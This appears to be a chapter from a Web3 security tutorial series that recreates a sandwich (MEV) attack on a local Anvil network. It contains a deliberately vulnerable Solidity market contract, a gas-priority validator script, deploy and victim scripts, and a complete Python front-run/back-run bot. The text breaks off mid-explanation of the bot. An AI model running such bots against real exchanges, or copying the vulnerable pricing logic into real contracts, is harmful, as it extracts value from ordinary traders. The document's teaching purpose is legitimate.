From Front-Running to Sandwich Attacks: An Advanced Look at MEV Exploits

25 min read

December 22, 2024

Web3 Exploitation Fundamentals: Navigating Security in Decentralized Systems
From Front-Running to Sandwich Attacks: An Advanced Look at MEV Exploits

Table of contents

Introduction

In previous chapters, we explored the fundamentals of front-running, a type of attack where malicious actors exploit transaction ordering to gain an advantage. These tactics fall under a broader category known as MEV (Maximal Extractable Value) attacks, which involve manipulating the sequence of transactions in a blockchain to extract value. Today, we’re diving deeper into a specific and more advanced MEV strategy: the Sandwich Attack. This sophisticated method combines front-running and back-running to manipulate prices and maximize profits, often targeting decentralized exchanges (DEXs) and other Ethereum-based markets.

To truly understand the implications of a Sandwich Attack, we won’t just analyze its theory. Instead, we’ll recreate the scenario from the ground up—deploying a vulnerable contract, simulating a victim’s transaction, and leveraging a custom bot to execute the attack. Along the way, we’ll use familiar tools like Anvil to simulate the network, Cast for contract deployment and interaction, and a Python-based bot to automate the attack process.

By the end of this chapter, you’ll have a clear understanding of how these attacks are orchestrated, the level of sophistication involved, and, most importantly, the need for robust countermeasures in decentralized ecosystems.

What is a Sandwich Attack?

Imagine you’re at a busy market, and you notice someone ahead of you about to buy the last few apples from a vendor. Knowing this, you quickly cut in line, buy the apples first, and then sell them back to that same person at a marked-up price. This, in essence, is how a Sandwich Attack works, but instead of apples, the "market" here is a decentralized exchange, and the "line" is the blockchain transaction queue.

A Sandwich Attack is a clever combination of two tactics: front-running and back-running. Here’s how it plays out:

  1. Front-Running: The attacker monitors the mempool (a holding area for unconfirmed transactions) and spots a pending trade, such as a token purchase. They quickly submit their own transaction—a buy order with a higher gas fee—so it gets executed first. This increases the token price before the victim’s transaction can be processed.
  2. Victim’s Transaction: The unsuspecting victim executes their trade, buying tokens at the now-inflated price, unaware they’ve been front-run.
  3. Back-Running: Immediately after the victim’s transaction is confirmed, the attacker places a sell order. By selling the tokens they just purchased at the higher price created by the victim’s trade, the attacker pockets the profit.

This strategy takes advantage of the mempool’s transparency and the predictable way blockchain transactions are prioritized by gas fees. The result is a "sandwich," where the victim’s transaction is squeezed between the attacker’s buy and sell orders, leaving the victim with inflated costs and the attacker with a tidy profit.

sequenceDiagram participant Attacker participant Victim participant AMM as Automated Market Maker (AMM) Note over Attacker: Scans mempool for pending transactions Victim->>AMM: Places buy order for tokens<br>(e.g., 10 tokens) AMM-->>Victim: Pending transaction<br>(Price impact: +0.01 ETH/token) Attacker->>AMM: Front-run buy order<br>(e.g., 15 tokens)<br>Higher gas price AMM-->>Attacker: Order confirmed<br>(Price impact: +0.015 ETH/token) Victim->>AMM: Victim's transaction executes<br>(Buys 10 tokens at inflated price) AMM-->>Victim: Order confirmed Attacker->>AMM: Back-run sell order<br>(e.g., 15 tokens)<br>Profiting from price inflation AMM-->>Attacker: Tokens sold at inflated price Note over Attacker: Gains profit from the inflated price difference

Today, as we usually do, we’ll dive into a vulnerable contract designed for this type of attack, analyzing it using Foundry, a custom validator, and a Python bot to automate the attack.

Explaining the MagicPotionMarket Contract

The MagicPotionMarket contract represents a dynamic marketplace where users can trade "magic potions" with a pricing mechanism that adjusts based on supply and demand. It’s designed as a straightforward example to explore how such markets work on the blockchain.

Vulnerable Smart Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicPotionMarket {
    mapping(address => uint256) public potionBalances;
    uint256 public potionPrice = 1 ether; // Base price of a magic potion in ETH

    event PotionsBought(address indexed buyer, uint256 amount, uint256 price);
    event PotionsSold(address indexed seller, uint256 amount, uint256 price);

    // Function to buy potions
    function buyPotions(uint256 amount) external payable {
        potionBalances[msg.sender] += amount;

        // Simulate price impact: the more potions bought, the higher the price
        potionPrice += (amount * 1 ether) / 100; // Increment by 0.01 ETH per potion
        require(potionPrice > 0, "Potion price overflow");

        emit PotionsBought(msg.sender, amount, potionPrice);
    }

    // Function to sell potions
    function sellPotions(uint256 amount) external {
        require(
            potionBalances[msg.sender] >= amount,
            "Not enough potions to sell"
        );

        uint256 currentPrice = potionPrice; // Capture the price at the start
        potionBalances[msg.sender] -= amount;

        // Calculate the value of potions being sold
        uint256 saleValue = amount * currentPrice;

        // Simulate price drop: the more potions sold, the lower the price
        potionPrice -= (amount * 1 ether) / 100; // Decrement by 0.01 ETH per potion
        require(potionPrice > 0, "Potion price underflow");

        // Transfer ETH to the seller
        payable(msg.sender).transfer(saleValue);

        emit PotionsSold(msg.sender, amount, potionPrice);
    }

    // Allow the contract to receive ETH
    receive() external payable {}
}

Let’s walk through its components step by step, with corresponding code snippets for clarity.

mapping(address => uint256) public potionBalances;
uint256 public potionPrice = 1 ether; // Base price of a magic potion in ETH

At its core, the contract maintains a record of each user’s potion holdings through a mapping called potionBalances. Each address is associated with the number of potions it owns. The price of a potion starts at a fixed value of 1 ETH but changes dynamically as users buy or sell potions, simulating real-world price fluctuations.

The choice to make both potionBalances and potionPrice public ensures transparency, allowing anyone to query the current state of the market.

function buyPotions(uint256 amount) external payable {
    potionBalances[msg.sender] += amount;

    // Simulate price impact: the more potions bought, the higher the price
    potionPrice += (amount * 1 ether) / 100; // Increment by 0.01 ETH per potion
    require(potionPrice > 0, "Potion price overflow");

    emit PotionsBought(msg.sender, amount, potionPrice);
}

The buyPotions function is where users can increase their potion holdings. When a user calls this function and specifies an amount, the contract adds that number to their potion balance.

What makes this function interesting is its dynamic pricing mechanism. Each purchase increases the potion price by 0.01 ETH per potion bought, simulating a supply-demand relationship. For instance, if someone buys 10 potions, the price rises by 0.1 ETH.

To ensure the price doesn’t overflow due to extreme purchases, there’s a safeguard (require(potionPrice > 0)) that halts execution if such a scenario is detected. Additionally, the function emits a PotionsBought event to log the purchase, making it easy to track activity.

function sellPotions(uint256 amount) external {
    require(
        potionBalances[msg.sender] >= amount,
        "Not enough potions to sell"
    );

    uint256 currentPrice = potionPrice; // Capture the price at the start
    potionBalances[msg.sender] -= amount;

    // Calculate the value of potions being sold
    uint256 saleValue = amount * currentPrice;

    // Simulate price drop: the more potions sold, the lower the price
    potionPrice -= (amount * 1 ether) / 100; // Decrement by 0.01 ETH per potion
    require(potionPrice > 0, "Potion price underflow");

    // Transfer ETH to the seller
    payable(msg.sender).transfer(saleValue);

    emit PotionsSold(msg.sender, amount, potionPrice);
}

The sellPotions function allows users to liquidate their potions for ETH. Before proceeding, the contract checks if the seller has enough potions in their balance. If they do, the specified amount is subtracted from their balance, and the corresponding ETH is transferred to their address.

Similar to the buying process, selling potions adjusts the price dynamically—but in the opposite direction. For every potion sold, the price decreases by 0.01 ETH, reflecting reduced demand. This creates a scenario where heavy selling can significantly lower the market price, impacting subsequent trades.

To prevent issues like underflow (a situation where the price drops below zero), the function includes a safeguard: require(potionPrice > 0). Finally, it logs the sale with the PotionsSold event.

receive() external payable {}

This small but essential function allows the contract to receive ETH directly, ensuring it has enough funds to pay users who sell their potions. Without this capability, the contract could run out of ETH, causing transactions to fail.

Additionally, the contract includes events:

event PotionsBought(address indexed buyer, uint256 amount, uint256 price);
event PotionsSold(address indexed seller, uint256 amount, uint256 price);

These events emit key details about every transaction, such as the buyer or seller’s address, the number of potions traded, and the updated price. This transparency is valuable for monitoring the contract but also provides real-time data for anyone observing the market.

Setting Up the Attack Strategy

To replicate the conditions for a Sandwich Attack, we’ll use a familiar setup that combines tools and strategies we’ve already discussed in previous chapters. This will streamline the process and make it easier to understand how all the pieces fit together. Here’s how we’ll proceed:

  1. Custom Validator for Front-Running: We’ll use the same custom validator that we introduced in the chapter on front-running. For those who are already familiar with its workings, feel free to skip ahead. In brief, this validator monitors the mempool for pending transactions, identifying opportunities to execute front-running trades by prioritizing transactions with higher gas fees.
  2. Network Simulation with Anvil: As we’ve been doing in previous chapters, we’ll rely on Anvil, the blockchain simulation tool, to create a controlled environment. Anvil lets us mimic the behavior of a real Ethereum network while giving us fine-grained control over block production, gas pricing, and more. Its flexibility makes it an ideal choice for testing complex interactions like the Sandwich Attack.
  3. Deployment and Victim Transaction with Cast: We’ll continue using Cast, which has been our go-to tool for interacting with the network in past chapters. Cast will handle the deployment of the vulnerable MagicPotionMarket contract and simulate a transaction from the victim. Its simplicity and efficiency make it perfect for these tasks.
  4. Automating the Sandwich Attack with Python: Finally, we’ll bring everything together with a Python bot. This script will monitor the network, execute the front-running and back-running transactions, and calculate the attack’s profitability. Python’s flexibility allows us to automate the entire process, simulating how an attacker would operate in a real-world scenario.

Custom Validator for Front-Running

💡
Note: If you’ve already read the chapter on front-running and are familiar with how our custom validator works, you can safely skip this section. For newcomers or those needing a refresher, here’s an accessible breakdown of how it operates.

The custom validator is a critical component in executing a Sandwich Attack, as it allows us to monitor the mempool for pending transactions and identify potential targets. This tool interacts directly with the blockchain to detect unconfirmed transactions and analyze their parameters. To include the validator in our project, we begin by organizing our attack scripts into a dedicated directory within the Foundry project. This setup keeps everything clean and accessible.

Validator Code
const { ethers } = require("ethers");
const axios = require("axios");

// Connection to the Anvil node
const provider = new ethers.JsonRpcProvider("http://localhost:8545");

console.log("Validator connected to Anvil");

// List to store pending transactions
let pendingTransactions = [];

// Listen for pending transactions
provider.on("pending", async (txHash) => {
  try {
    const tx = await provider.getTransaction(txHash);

    if (tx) {
      console.log("\nTransaction detected:");
      console.log(`  Hash: ${tx.hash}`);
      console.log(`  From: ${tx.from}`);
      console.log(`  To: ${tx.to || "Contract Deployment"}`);
      console.log(`  Value: ${ethers.formatEther(tx.value)} ETH`);

      // Process the gasPrice correctly
      const gasPrice = tx.gasPrice || tx.maxFeePerGas; // Handle different types of transactions
      console.log(`  Gas Price: ${ethers.formatUnits(gasPrice, "gwei")} gwei`);

      // Add the transaction to the local mempool
      pendingTransactions.push(tx);
      console.log("Transaction added to local mempool.");
    }
  } catch (error) {
    console.error(`Error processing transaction ${txHash}:`, error);
  }
});

// Function to mine transactions based on priority
setInterval(async () => {
  if (pendingTransactions.length > 0) {
    console.log("\nMining a new block...");

    // Sort transactions by `maxFeePerGas` or `gasPrice` in descending order
    pendingTransactions.sort((a, b) => {
      const gasA = a.maxFeePerGas ? BigInt(a.maxFeePerGas) : BigInt(a.gasPrice);
      const gasB = b.maxFeePerGas ? BigInt(b.maxFeePerGas) : BigInt(b.gasPrice);

      // Safely compare BigInt values directly
      if (gasA > gasB) return -1; // Descending order: gasA is higher
      if (gasA < gasB) return 1;  // gasB is higher
      return 0; // If equal
    });

    const selectedTx = pendingTransactions.shift(); // Select the transaction with the highest priority

    // Simulate mining by calling `evm_mine`
    try {
      console.log("Selected transaction for mining:", selectedTx.hash);

      // Call `evm_mine` to mine a new block
      await axios.post("http://localhost:8545", {
        jsonrpc: "2.0",
        method: "evm_mine",
        params: [],
        id: 1,
      });

      console.log("Transaction mined in new block:", selectedTx.hash);

      // Remove the mined transaction from the pending list
      pendingTransactions = pendingTransactions.filter(
        (tx) => tx.hash !== selectedTx.hash
      );
    } catch (error) {
      console.error("Error mining transaction:", error.message);
    }
  }
}, 5000); // Check every 5 seconds

// Listen for new blocks
provider.on("block", (blockNumber) => {
  console.log(`\nNew block mined: ${blockNumber}`);
});

Inside the attack directory, we create a file named validator.js. Before running the script, ensure all required dependencies are installed. From the project root, we initialize a Node.js project and add the necessary packages:

npm init -y
npm install ethers axios

This prepares the environment for the validator to communicate with the local Anvil network and handle HTTP requests.

The validator establishes a connection to Anvil using the ethers library. The connection is made to the node running locally on http://localhost:8545. Once connected, the validator begins listening for pending transactions. Each detected transaction is analyzed to extract key details like the sender, recipient, and the value being transferred. For example, a detected transaction might show the sender's address, the amount of ETH involved, and whether it is directed at a contract or another wallet.

Here’s the section of code responsible for this behavior:

const { ethers } = require("ethers");
const axios = require("axios");

// Connect to Anvil
const provider = new ethers.JsonRpcProvider("http://localhost:8545");
console.log("Validator connected to Anvil");

// Listen for pending transactions
provider.on("pending", async (txHash) => {
  try {
    const tx = await provider.getTransaction(txHash);
    if (tx) {
      console.log(`Transaction detected: ${tx.hash}`);
      console.log(`From: ${tx.from}, To: ${tx.to}, Value: ${ethers.formatEther(tx.value)} ETH`);
    }
  } catch (error) {
    console.error(`Error processing transaction ${txHash}:`, error);
  }
});

The connection to Anvil provides real-time access to the mempool. When a transaction is detected, its details are fetched and logged, giving us a live view of the blockchain’s activity.

Once transactions are collected, the validator prioritizes them based on gas price. The logic here ensures that transactions offering higher gas fees are mined first, simulating the natural behavior of miners in a real blockchain network. By sorting transactions in descending order of gas price, the validator ensures that the most profitable ones are included in the next block. The block production is then simulated by sending a command to the Anvil node, which mines the block and processes the prioritized transactions.

setInterval(async () => {
  if (pendingTransactions.length > 0) {
    pendingTransactions.sort((a, b) => {
      const gasA = a.gasPrice || a.maxFeePerGas;
      const gasB = b.gasPrice || b.maxFeePerGas;
      return gasB - gasA; // Higher gas price gets priority
    });

    const selectedTx = pendingTransactions.shift(); // Select highest-priority transaction

    try {
      console.log("Selected transaction for mining:", selectedTx.hash);
      await axios.post("http://localhost:8545", {
        jsonrpc: "2.0",
        method: "evm_mine",
        params: [],
        id: 1,
      });
      console.log("Transaction mined in new block:", selectedTx.hash);
    } catch (error) {
      console.error("Error mining transaction:", error.message);
    }
  }
}, 10000);

Here, the validator automates the process of including transactions in blocks by calling the evm_mine method on the Anvil node. This step is crucial for ensuring that the front-running and back-running transactions in a Sandwich Attack are processed in the desired order.

Deploying the Vulnerable Contract and Simulating the Victim

Now that we’ve set up our environment and reviewed the custom validator, the next step is to deploy the vulnerable contract (MagicPotionMarket) onto the local blockchain network and simulate a victim’s transaction. This process demonstrates how an attacker might observe the network and exploit specific actions.

Deploying the Contract

The deployment process is straightforward thanks to Foundry and its command-line tools. Using forge create, we compile and deploy the contract directly to the local Anvil network.

Script to deploy the contract
#!/bin/bash

# Force numeric format to English (dot as the decimal separator)
export LC_NUMERIC="en_US.UTF-8"

# Configuration variables
RPC_URL="http://localhost:8545"  # URL for the local Anvil node
ADMIN_PK="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"  # Admin's private key
CONTRACT_NAME="MagicPotionMarket"  # Name of the contract to be deployed
CONTRACT_PATH="src/MagicPotionMarket.sol:$CONTRACT_NAME"  # Path to the contract in the project directory

# Compile the contract
echo "Compiling the contract..."
forge build

# Deploy the contract
echo "Deploying the contract $CONTRACT_NAME..."
CONTRACT_ADDRESS=$(forge create $CONTRACT_PATH \
                             --rpc-url $RPC_URL \
                             --private-key $ADMIN_PK | grep "Deployed to" | awk '{print $NF}')

# Check if the contract deployment was successful
if [ -z "$CONTRACT_ADDRESS" ]; then
    echo "Error: Failed to deploy the contract."
    exit 1
fi

# Print the deployed contract address
echo "Contract successfully deployed at: $CONTRACT_ADDRESS"

# Save the contract address to a file for future reference
echo "$CONTRACT_ADDRESS" > deployed_contract_address.txt
echo "Contract address saved to 'deployed_contract_address.txt'."

# Optionally, check the initial balance of the deployed contract
echo "Checking the initial contract balance..."
contract_balance=$(cast balance $CONTRACT_ADDRESS --rpc-url $RPC_URL)

# Convert the contract balance to ETH for readability
contract_balance_eth=$(awk "BEGIN {print $contract_balance / 10^18}")
echo "Initial contract balance: $contract_balance_eth ETH"

Let’s break down the deployment script.

#!/bin/bash

# Force numeric format to use English (dot as the decimal separator)
export LC_NUMERIC="en_US.UTF-8"

# Set up variables
RPC_URL="http://localhost:8545"  # Anvil node URL
ADMIN_PK="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80"  # Admin private key
CONTRACT_NAME="MagicPotionMarket"  # Contract name
CONTRACT_PATH="src/MagicPotionMarket.sol:$CONTRACT_NAME"  # Path to the contract

# Compile the contract
echo "Compiling the contract..."
forge build

Here, the script sets up the environment by defining the RPC URL for the Anvil node and the admin’s private key. The contract source path is specified using the CONTRACT_PATH variable.

The forge build command compiles the contract, ensuring it’s ready for deployment.

# Deploy the contract
echo "Deploying the contract $CONTRACT_NAME..."
CONTRACT_ADDRESS=$(forge create $CONTRACT_PATH \
                             --rpc-url $RPC_URL \
                             --private-key $ADMIN_PK | grep "Deployed to" | awk '{print $NF}')

if [ -z "$CONTRACT_ADDRESS" ]; then
    echo "Error: Contract deployment failed."
    exit 1
fi

The forge create command deploys the contract to the blockchain. The script extracts the deployed contract address and stores it in the CONTRACT_ADDRESS variable. If deployment fails, the script halts with an error message.

echo "Contract deployed successfully at: $CONTRACT_ADDRESS"

# Save the contract address to a file for later use
echo "$CONTRACT_ADDRESS" > deployed_contract_address.txt
echo "Contract address saved to 'deployed_contract_address.txt'."

# Optional: Verify the contract's initial balance
echo "Checking the initial contract balance..."
contract_balance=$(cast balance $CONTRACT_ADDRESS --rpc-url $RPC_URL)
contract_balance_eth=$(awk "BEGIN {print $contract_balance / 10^18}")
echo "Initial contract balance: $contract_balance_eth ETH"

For convenience, the contract’s address is saved to a file, making it easy to reference in subsequent scripts. The initial balance of the contract can also be verified using the cast balance command.

Victim Transaction Simulation

Once the contract is deployed, the next step is simulating a victim’s transaction. This involves purchasing 15 potions, creating predictable price changes that the attacker can exploit.

Victim Simulation Code
#!/bin/bash

# Forzar el formato de números en inglés (punto como separador decimal)
export LC_NUMERIC="en_US.UTF-8"

# Set up variables
RPC_URL="http://localhost:8545"
PLAYER_PK="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"
CONTRACT_ADDRESS="0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9"

# Player buys potions
echo "Player buying potions..."
CURRENT_PRICE=$(cast call $CONTRACT_ADDRESS "potionPrice()" --rpc-url $RPC_URL)

# Convert CURRENT_PRICE to decimal (BigInt handling)
CURRENT_PRICE=$(echo $CURRENT_PRICE | sed 's/0x//g')
CURRENT_PRICE_DECIMAL=$(printf "%d" "0x$CURRENT_PRICE")

# Validate CURRENT_PRICE_DECIMAL
if [ "$CURRENT_PRICE_DECIMAL" -le 0 ]; then
    echo "Error: Invalid potion price detected: $CURRENT_PRICE_DECIMAL Wei"
    exit 1
fi

echo "Precio actual de la pocion (Wei): $CURRENT_PRICE_DECIMAL"

PLAYER_PURCHASE_AMOUNT=10

# Use `bc` for big number calculations
TOTAL_COST=$(echo "$PLAYER_PURCHASE_AMOUNT * $CURRENT_PRICE_DECIMAL" | bc)
TOTAL_COST_ETH=$(echo "scale=18; $TOTAL_COST / 10^18" | bc)

# Validate TOTAL_COST
if [ "$TOTAL_COST" -le 0 ]; then
    echo "Error: Invalid total cost calculated: $TOTAL_COST Wei"
    exit 1
fi

echo "Player buying $PLAYER_PURCHASE_AMOUNT potions for $TOTAL_COST_ETH ETH..."

# Send transaction
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $PLAYER_PK \
          --value $TOTAL_COST \
          "buyPotions(uint256)" $PLAYER_PURCHASE_AMOUNT

if [ $? -eq 0 ]; then
    echo "Potion purchase completed by player."
else
    echo "Error: Potion purchase failed."
    exit 1
fi

# Display final balances
echo "Final balances:"
admin_balance=$(cast balance 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --rpc-url $RPC_URL)
player_balance=$(cast balance 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 --rpc-url $RPC_URL)

# Convert balances to ETH
admin_eth=$(echo "scale=4; $admin_balance / 10^18" | bc)
player_eth=$(echo "scale=4; $player_balance / 10^18" | bc)

echo "Admin: $admin_eth ETH"
echo "Player: $player_eth ETH"

Below is the script for this step:

#!/bin/bash

# Force numeric format to use English (dot as the decimal separator)
export LC_NUMERIC="en_US.UTF-8"

# Set up variables
RPC_URL="http://localhost:8545"  # Anvil node URL
PLAYER_PK="0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d"  # Victim's private key
CONTRACT_ADDRESS="0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9"  # Contract address

The script initializes the victim’s private key and references the previously deployed contract’s address.

# Retrieve the current potion price
echo "Player buying potions..."
CURRENT_PRICE=$(cast call $CONTRACT_ADDRESS "potionPrice()" --rpc-url $RPC_URL)

# Convert CURRENT_PRICE to decimal (BigInt handling)
CURRENT_PRICE=$(echo $CURRENT_PRICE | sed 's/0x//g')
CURRENT_PRICE_DECIMAL=$(printf "%d" "0x$CURRENT_PRICE")

# Validate CURRENT_PRICE_DECIMAL
if [ "$CURRENT_PRICE_DECIMAL" -le 0 ]; then
    echo "Error: Invalid potion price detected: $CURRENT_PRICE_DECIMAL Wei"
    exit 1
fi

echo "Current potion price (Wei): $CURRENT_PRICE_DECIMAL"

Using cast call, the script fetches the current potion price from the contract. The price, returned in hexadecimal, is converted into decimal for further calculations. The script ensures the price is valid before proceeding.

PLAYER_PURCHASE_AMOUNT=10  # Amount of potions to buy

# Calculate the total cost using `bc` for big number calculations
TOTAL_COST=$(echo "$PLAYER_PURCHASE_AMOUNT * $CURRENT_PRICE_DECIMAL" | bc)
TOTAL_COST_ETH=$(echo "scale=18; $TOTAL_COST / 10^18" | bc)

# Validate TOTAL_COST
if [ "$TOTAL_COST" -le 0 ]; then
    echo "Error: Invalid total cost calculated: $TOTAL_COST Wei"
    exit 1
fi

echo "Player buying $PLAYER_PURCHASE_AMOUNT potions for $TOTAL_COST_ETH ETH..."

The total cost for purchasing 10 potions is calculated using bc, which handles large numbers precisely. The cost is then validated to ensure it is a valid value.

# Send the transaction
cast send $CONTRACT_ADDRESS \
          --rpc-url $RPC_URL \
          --private-key $PLAYER_PK \
          --value $TOTAL_COST \
          "buyPotions(uint256)" $PLAYER_PURCHASE_AMOUNT

if [ $? -eq 0 ]; then
    echo "Potion purchase completed by player."
else
    echo "Error: Potion purchase failed."
    exit 1
fi

The victim’s transaction is sent using cast send. The script calls the buyPotions function on the contract, passing the calculated total cost and the number of potions to purchase.

# Display final balances
echo "Final balances:"
admin_balance=$(cast balance 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266 --rpc-url $RPC_URL)
player_balance=$(cast balance 0x70997970C51812dc3A010C7d01b50e0d17dc79C8 --rpc-url $RPC_URL)

# Convert balances to ETH
admin_eth=$(echo "scale=4; $admin_balance / 10^18" | bc)
player_eth=$(echo "scale=4; $player_balance / 10^18" | bc)

echo "Admin: $admin_eth ETH"
echo "Player: $player_eth ETH"

After the transaction, the script fetches and displays the final balances of both the victim and the admin. This provides a clear snapshot of the state after the victim’s trade.

Automating the Sandwich Attack with Python

Now that we have the vulnerable contract deployed and the victim’s transaction simulated, it’s time to automate the Sandwich Attack using a Python bot.

Python Bot
# %% Cell 1
from web3 import Web3
import time
import json

# Connect to the local blockchain network
ganache_url = "http://127.0.0.1:8545"  # Local Anvil node
web3 = Web3(Web3.HTTPProvider(ganache_url))

# Check if the connection is successful
if not web3.is_connected():
    print("Error: Could not connect to the network.")
else:
    print("Connection established with the local network.")

# %% Cell 2
# Load the contract configuration and attacker details
CONTRACT_ADDRESS = "0xCf7Ed3AccA5a467e9e704C703E8D87F634fB0Fc9"  # Replace with your deployed contract address
with open("./out/MagicPotionMarket.sol/MagicPotionMarket.json") as f:
    contract_json = json.load(f)
    CONTRACT_ABI = contract_json["abi"]

# Initialize the contract
potion_contract = web3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)

# Attacker configuration
ATTACKER = {
    "address": "0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC",  # Attacker's address
    "private_key": "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"  # Attacker's private key
}

# Parameters for the attack
GAS_PRICE_MULTIPLIER = 1.5  # Multiplier for gas price during front-running
POTION_THRESHOLD = 5        # Minimum number of potions for a transaction to be interesting

print("Contract initialized and attacker configured.")

# %% Cell 3
# Helper functions to interact with the blockchain
def build_signed_tx(function_call, gas_price, value=0):
    """
    Build and sign a transaction.
    """
    tx = function_call.build_transaction({
        'from': ATTACKER["address"],
        'gas': 2000000,
        'gasPrice': gas_price,
        'nonce': web3.eth.get_transaction_count(ATTACKER["address"]),
        'value': int(value)  # Ensure the value is an integer
    })
    signed_tx = web3.eth.account.sign_transaction(tx, ATTACKER["private_key"])
    return signed_tx

def send_tx(signed_tx):
    """
    Send a signed transaction and wait for its receipt.
    """
    tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
    receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
    return receipt

# %% Cell 4
# Monitor the mempool and execute the Sandwich Attack
def monitor_mempool_and_attack():
    print("Monitoring the mempool for interesting transactions...")
    pending_filter = web3.eth.filter("pending")

    # Track the attacker's initial balance
    initial_balance = web3.eth.get_balance(ATTACKER["address"])

    while True:
        try:
            pending_txs = pending_filter.get_new_entries()
            for tx_hash in pending_txs:
                tx = web3.eth.get_transaction(tx_hash)

                # Ignore transactions from the attacker
                if tx["from"].lower() == ATTACKER["address"].lower():
                    continue

                # Check if the transaction interacts with the target contract
                if tx["to"] == CONTRACT_ADDRESS:
                    decoded_input = potion_contract.decode_function_input(tx["input"])
                    function_name = decoded_input[0].fn_name
                    args = decoded_input[1]

                    if function_name == "buyPotions" and args["amount"] >= POTION_THRESHOLD:
                        print(f"Interesting transaction detected: {tx_hash.hex()} | {args['amount']} potions")

                        # Fetch the current potion price
                        potion_price = potion_contract.functions.potionPrice().call()
                        print(f"Current potion price (Wei): {potion_price}")

                        # Calculate potential profit without the attack
                        no_attack_profit = (args["amount"] * potion_price) - (args["amount"] * potion_price)

                        # Execute front-running
                        print("Executing Front-Run...")
                        gas_price = int(web3.eth.gas_price * GAS_PRICE_MULTIPLIER)
                        value = int((args["amount"] + 5) * potion_price)  # Total cost calculation
                        print(f"Value to send in Front-Run (Wei): {value}")

                        front_run_signed = build_signed_tx(
                            potion_contract.functions.buyPotions(args["amount"] + 5),
                            gas_price,
                            value=value
                        )
                        send_tx(front_run_signed)
                        print("Front-Run completed.")

                        # Wait for the victim's transaction to confirm
                        print("Waiting for the victim's transaction to confirm...")
                        while web3.eth.get_transaction_receipt(tx_hash) is None:
                            time.sleep(1)

                        # Execute back-running
                        print("Executing Back-Run...")
                        back_run_signed = build_signed_tx(
                            potion_contract.functions.sellPotions(args["amount"] + 5),
                            gas_price,
                            value=0  # No ETH sent during sell
                        )
                        send_tx(back_run_signed)
                        print("Back-Run completed. Sandwich Attack successful.")

                        # Calculate and display profits
                        final_balance = web3.eth.get_balance(ATTACKER["address"])
                        attack_profit = web3.from_wei(final_balance - initial_balance, "ether")
                        no_attack_profit_eth = web3.from_wei(no_attack_profit, "ether")

                        # Display the results
                        print("\n=== Sandwich Attack Summary ===")
                        print(f"Profit WITHOUT attack: {no_attack_profit_eth:.4f} ETH")
                        print(f"Profit WITH attack: {attack_profit:.4f} ETH")
                        print(f"Total Sandwich Attack Profit: {attack_profit - no_attack_profit_eth:.4f} ETH")
                        return  # Exit the loop after a successful attack

        except Exception as e:
            print(f"Error: {e}")
        time.sleep(1)

# %% Cell 5
# Run the bot
if __name__ == "__main__":
    try:
        monitor_mempool_and_attack()
    except KeyboardInterrupt:
        print("Bot stopped manually.")

This bot will monitor the blockchain for pending transactions, execute a front-running transaction to profit from the price increase, and follow it up with a back-running transaction to sell at the inflated price.

# %% Cell 1
from web3 import Web3
import time
import json

# Connect to the local blockchain network
ganache_url = "http://127.0.0.1:8545"  # Local Anvil node
web3 = Web3(Web3.HTTPProvider(ganache_url))

# Check if the connection is successful
if not web3.is_connected():
    print("Error: Could not connect to the network.")
else:
    print("Connection to the local network established.")

The bot starts by connecting to the local blockchain network using web3.py. It verifies the connection to ensure the script can interact with the blockchain.

# %% Cell 2
# Load the contract and attacker configuration
CONTRACT_ADDRESS = "0xB7f8BC63BbcaD18155201308C8f3540b07f84F5e"  # Replace with the deployed contract address
with open("./out/MagicPotionMarket.sol/MagicPotionMarket.json") as f:
    contract_json = json.load(f)
    CONTRACT_ABI = contract_json["abi"]

potion_contract = web3.eth.contract(address=CONTRACT_ADDRESS, abi=CONTRACT_ABI)

# Attacker details
ATTACKER = {
    "address": "0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC",  # Attacker's address
    "private_key": "0x5de4111afa1a4b94908f83103eb1f1706367c2e68ca870fc3fb9a804cdab365a"  # Attacker's private key
}

# Set the parameters for the attack
GAS_PRICE_MULTIPLIER = 1.5  # Gas price multiplier for front-running
POTION_THRESHOLD = 5        # Minimum potions for a transaction to be interesting

print("Contract initialized and attacker configured.")

The script loads the ABI and deployed contract address to interact with the MagicPotionMarket contract. The attacker’s wallet address and private key are also defined here, as well as the attack parameters, such as the gas price multiplier and potion threshold.

# %% Cell 3
# Helper functions for transactions
def build_signed_tx(function_call, gas_price, value=0):
    """
    Build and sign a transaction.
    """
    tx = function_call.build_transaction({
        'from': ATTACKER["address"],
        'gas': 2000000,
        'gasPrice': gas_price,
        'nonce': web3.eth.get_transaction_count(ATTACKER["address"]),
        'value': int(value)  # Ensure the value is an integer
    })
    signed_tx = web3.eth.account.sign_transaction(tx, ATTACKER["private_key"])
    return signed_tx

def send_tx(signed_tx):
    """
    Send a signed transaction and wait for its receipt.
    """
    tx_hash = web3.eth.send_raw_transaction(signed_tx.raw_transaction)
    receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
    return receipt

These helper functions simplify the process of creating, signing, and sending transactions. build_signed_tx prepares a transaction for functions like buyPotions or sellPotions, while send_tx sends the signed transaction and waits for confirmation.

# %% Cell 4
# Monitor the mempool and execute the Sandwich Attack
def monitor_mempool_and_attack():
    print("Monitoring the mempool for interesting transactions...")
    pending_filter = web3.eth.filter("pending")

    # Track the attacker's initial balance
    initial_balance = web3.eth.get_balance(ATTACKER["address"])

    while True:
        try:
            pending_txs = pending_filter.get_new_entries()
            for tx_hash in pending_txs:
                tx = web3.eth.get_transaction(tx_hash)

                # Skip transactions from the attacker
                if tx["from"].lower() == ATTACKER["address"].lower():
                    continue

                # Check if the transaction interacts with the target contract
